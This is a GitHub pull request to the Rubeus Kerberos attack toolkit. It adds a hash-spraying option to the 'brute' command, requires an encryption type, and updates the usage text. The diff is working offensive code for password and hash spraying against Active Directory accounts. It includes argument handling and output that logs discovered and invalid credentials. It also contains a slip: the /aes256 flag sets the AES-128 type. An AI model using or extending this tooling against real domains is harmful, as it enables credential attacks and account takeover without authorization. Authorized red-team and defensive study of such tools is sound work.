Skip to content

Brute Command: Support for Hash Spraying and Enforced Encryption Type Selection #214

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
0Nightsedge0 wants to merge 4 commits into
base: master
Choose a base branch
from
Open

Brute Command: Support for Hash Spraying and Enforced Encryption Type Selection #214

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
4 commits
Select commit Hold shift + click to select a range
c925bcd
Hash Spray feature
0Nightsedge0 Sep 28, 2025
92bae57
Reuse Ask.cs ASK.TGT
0Nightsedge0 Sep 28, 2025
b332149
Enforce brute need to provide encType
0Nightsedge0 Sep 28, 2025
cf0a6c8
Fix brute info.cs and Readme
0Nightsedge0 Sep 28, 2025
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions README.md
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -124,8 +124,8 @@ Rubeus is licensed under the BSD 3-Clause license.
Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]

Perform a Kerberos-based password bruteforcing attack:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
Perform a Kerberos-based password or hash bruteforcing attack:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> or </hash:hash_value> </(rc4|aes128|aes256|des_cbc_md5|des3_cbc_md5|des3_cbc_sha1)> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]

Perform a scan for account that do not require pre-authentication:
Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]
Expand Down
112 changes: 90 additions & 22 deletions Rubeus/Commands/Brute.cs
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,10 @@ public class Brute : ICommand
private string outfile = "";
private uint verbose = 0;
private bool saveTickets = true;
private bool hashspray = false;
private string hash = "";
// old_exp here means null placeholder
private Interop.KERB_ETYPE enctype = Interop.KERB_ETYPE.old_exp;

protected class BruteArgumentException : ArgumentException
{
Expand All @@ -49,17 +53,19 @@ public void Execute(Dictionary<string, string> arguments)
this.outfile, this.verbose, this.saveTickets);

Bruteforcer bruter = new Bruteforcer(this.domain, this.dc, consoleReporter);
bool success = bruter.Attack(this.usernames, this.passwords);
bool success = bruter.Attack(this.usernames, this.passwords, this.hash, this.hashspray, this.enctype);
if (success)
{
if (!String.IsNullOrEmpty(this.outfile))
{
Console.WriteLine("\r\n[+] Done: Credentials should be saved in \"{0}\"\r\n", this.outfile);
}else
}
else
{
Console.WriteLine("\r\n[+] Done\r\n", this.outfile);
}
} else
}
else
{
Console.WriteLine("\r\n[-] Done: No credentials were discovered :'(\r\n");
}
Expand All @@ -80,7 +86,16 @@ private void ParseArguments(Dictionary<string, string> arguments)
this.ParseOU(arguments);
this.ParseDC(arguments);
this.ParseCreds(arguments);
this.ParsePasswords(arguments);
if (arguments.ContainsKey("/hash"))
{
this.ParseHashSpray(arguments);
this.hashspray = true;
}
else
{
this.ParsePasswords(arguments);
this.hashspray = false;
}
this.ParseUsers(arguments);
this.ParseOutfile(arguments);
this.ParseVerbose(arguments);
Expand Down Expand Up @@ -112,7 +127,8 @@ private void ParseDC(Dictionary<string, string> arguments)
if (arguments.ContainsKey("/dc"))
{
this.dc = arguments["/dc"];
}else
}
else
{
this.dc = this.domain;
}
Expand Down Expand Up @@ -140,6 +156,38 @@ private void ParseCreds(Dictionary<string, string> arguments)
}

}
private void EnsureEncType(Dictionary<string, string> arguments)
{
if (arguments.ContainsKey("/rc4"))
{
this.enctype = Interop.KERB_ETYPE.rc4_hmac;
}
else if (arguments.ContainsKey("/aes128"))
{
this.enctype = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
}
else if (arguments.ContainsKey("/aes256"))
{
this.enctype = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
}
else if (arguments.ContainsKey("/des_cbc_md5"))
{
this.enctype = Interop.KERB_ETYPE.des_cbc_md5;
}
else if (arguments.ContainsKey("/des3_cbc_md5"))
{
this.enctype = Interop.KERB_ETYPE.des3_cbc_md5;
}
else if (arguments.ContainsKey("/des3_cbc_sha1"))
{
this.enctype = Interop.KERB_ETYPE.des3_cbc_sha1;
}
else
{
throw new BruteArgumentException(
"[X] You must supply supported encryption type! Use /(rc4|aes128|aes256|des_cbc_md5|des3_cbc_md5|des3_cbc_sha1) ");
}
}

private void ParsePasswords(Dictionary<string, string> arguments)
{
Expand All @@ -148,14 +196,17 @@ private void ParsePasswords(Dictionary<string, string> arguments)
try
{
this.passwords = File.ReadAllLines(arguments["/passwords"]);
}catch(FileNotFoundException)
this.EnsureEncType(arguments);
}
catch (FileNotFoundException)
{
throw new BruteArgumentException("[X] Unable to open passwords file \"" + arguments["/passwords"] + "\": Not found file");
}
}
else if (arguments.ContainsKey("/password"))
{
this.passwords = new string[] { arguments["/password"] };
this.EnsureEncType(arguments);
}
else
{
Expand All @@ -164,13 +215,29 @@ private void ParsePasswords(Dictionary<string, string> arguments)
}
}

private void ParseHashSpray(Dictionary<string, string> arguments)
{
if (arguments.ContainsKey("/hash"))
{
this.hash = arguments["/hash"];
this.EnsureEncType(arguments);
}
else
{
throw new BruteArgumentException(
"[X] You must supply a hash and encryption type! Use /hash:<hash_value>");
}
}

private void ParseUsers(Dictionary<string, string> arguments)
{
if (arguments.ContainsKey("/users"))
{
try {
try
{
this.usernames = File.ReadAllLines(arguments["/users"]);
}catch (FileNotFoundException)
}
catch (FileNotFoundException)
{
throw new BruteArgumentException("[X] Unable to open users file \"" + arguments["/users"] + "\": Not found file");
}
Expand Down Expand Up @@ -207,13 +274,13 @@ private void ParseSaveTickets(Dictionary<string, string> arguments)

private void ObtainUsers()
{
if(this.usernames == null)
if (this.usernames == null)
{
this.usernames = this.DomainUsernames();
}
else
{
if(this.verbose == 0)
if (this.verbose == 0)
{
this.verbose = 1;
}
Expand All @@ -235,7 +302,7 @@ private string[] DomainUsernames()
{
throw new BruteArgumentException("[X] Credentials supplied for '" + userDomain + "' are invalid!");
}

directoryObject.Username = userDomain;
directoryObject.Password = this.credPassword;

Expand All @@ -260,7 +327,8 @@ private string[] DomainUsernames()
}

return usernames.Cast<object>().Select(x => x.ToString()).ToArray();
} catch(System.Runtime.InteropServices.COMException ex)
}
catch (System.Runtime.InteropServices.COMException ex)
{
switch ((uint)ex.ErrorCode)
{
Expand All @@ -287,7 +355,7 @@ private string DomainController()
{
domainController = Networking.GetDCName();

if(domainController == "")
if (domainController == "")
{
throw new BruteArgumentException("[X] Unable to find DC address! Try it by providing /domain or /dc");
}
Expand Down Expand Up @@ -327,8 +395,6 @@ private bool AreCredentialsValid()
}

}


public class BruteforceConsoleReporter : IBruteforcerReporter
{

Expand Down Expand Up @@ -381,10 +447,15 @@ public void ReportBlockedUser(string domain, string username)

public void ReportKrbError(string domain, string username, KRB_ERROR krbError)
{
Console.WriteLine("\r\n[X] {0} KRB-ERROR ({1}) : {2}\r\n", username,
Console.WriteLine("\r\n[X] {0} KRB-ERROR ({1}) : {2}\r\n", username,
krbError.error_code, (Interop.KERBEROS_ERROR)krbError.error_code);
}

public void ReportInvalidPassword(string domain, string username, string password, string hash)
{
Console.WriteLine("[-] Invaild Password user => {0}:{1}:{2}", username, password, hash);
}


private void WriteUserPasswordToFile(string username, string password)
{
Expand All @@ -397,7 +468,8 @@ private void WriteUserPasswordToFile(string username, string password)
try
{
File.AppendAllText(this.passwordsOutfile, line);
}catch(UnauthorizedAccessException)
}
catch (UnauthorizedAccessException)
{
if (!this.reportedBadOutputFile)
{
Expand All @@ -409,7 +481,7 @@ private void WriteUserPasswordToFile(string username, string password)

private void HandleTicket(string username, byte[] ticket)
{
if(this.saveTicket)
if (this.saveTicket)
{
string ticketFilename = username + ".kirbi";
File.WriteAllBytes(ticketFilename, ticket);
Expand Down Expand Up @@ -445,7 +517,3 @@ private void PrintTicketBase64(string ticketname, byte[] ticket)

}
}




4 changes: 2 additions & 2 deletions Rubeus/Domain/Info.cs
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -50,8 +50,8 @@ public static void ShowUsage()
Renew a TGT, optionally applying the ticket, saving it, or auto-renewing the ticket up to its renew-till limit:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/autorenew] [/nowrap]

Perform a Kerberos-based password bruteforcing attack:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]
Perform a Kerberos-based password or hash bruteforcing attack:
Rubeus.exe brute </password:PASSWORD | /passwords:PASSWORDS_FILE> or </hash:hash_value> </(rc4|aes128|aes256|des_cbc_md5|des3_cbc_md5|des3_cbc_sha1)> [/user:USER | /users:USERS_FILE] [/domain:DOMAIN] [/creduser:DOMAIN\\USER & /credpassword:PASSWORD] [/ou:ORGANIZATION_UNIT] [/dc:DOMAIN_CONTROLLER] [/outfile:RESULT_PASSWORD_FILE] [/noticket] [/verbose] [/nowrap]

Perform a scan for account that do not require pre-authentication:
Rubeus.exe preauthscan /users:C:\temp\users.txt [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/proxyurl:https://KDC_PROXY/kdcproxy]
Expand Down
Loading